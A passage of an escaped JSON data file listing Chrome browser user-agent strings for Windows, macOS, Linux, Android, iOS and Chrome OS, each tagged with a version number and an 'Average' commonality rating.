Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/21.0.1180.90 Safari\\/537.1\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95  Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.9 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Linux; GoogleTV 3.2; NSZ-GS7\\/GX70 Build\\/MASTER) AppleWebKit\\/534.24 (KHTML, like Gecko) Chrome\\/11.0.696.77 Safari\\/534.24\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.2988.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.52 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G955U Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SM-G870A Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.6 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.152 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.64 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.52 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.134 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.96 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; Nexus 7 Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/36.0.1985.135 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.154 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.79 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; SM-G935S Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/33.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.79 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.172 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/536.5 (KHTML, like Gecko) Chrome\\/19.0.1084.56 Safari\\/536.5\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; PLAYipp PLAYport MAX A3188; installer\\/1.0; playipplauncher\\/2.1.1; system_provider\\/1.7.2; media_unit\\/2.0.69; networkmanager\\/2.0.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/536.5 (KHTML, like Gecko) Chrome\\/19.0.1084.56 Safari\\/536.5\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 8872.73.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.103 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.114 Safari\\/537.36 SRAF\\/3.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/2.0 Chrome\\/34.0.1847.76 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7520.67.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; SM-J200G Build\\/LMY47X) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.91 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.64 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Linux;) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.71 Safari\\/537.36 SRAF\\/3.5\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.152 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.172 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.130 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1 (KHTML, like Gecko) CriOS\\/47.0.2526.70 Mobile\\/13C71 Safari\\/601.1.46\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.52 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 10176.68.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.144 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.89 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/536.6 (KHTML, like Gecko) Chrome\\/20.0.1092.0 Safari\\/536.6\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G950U Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.115 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; Z982 Build\\/NMF26V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/21.0.1180.89 Safari\\/537.1\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.104 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; LGMS345 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/38.0.2125.102 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Z981 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.91 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/22.0.1207.1 Safari\\/537.1\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7834.70.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.79 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SGH-M919 Build\\/KTU84P) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build\\/LMY47V; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/46.0.2490.76 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2062.120 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) CriOS\\/55.0.2883.79 Mobile\\/14C92 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.44 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; Android SDK built for x86 Build\\/KK) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 7978.74.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.103 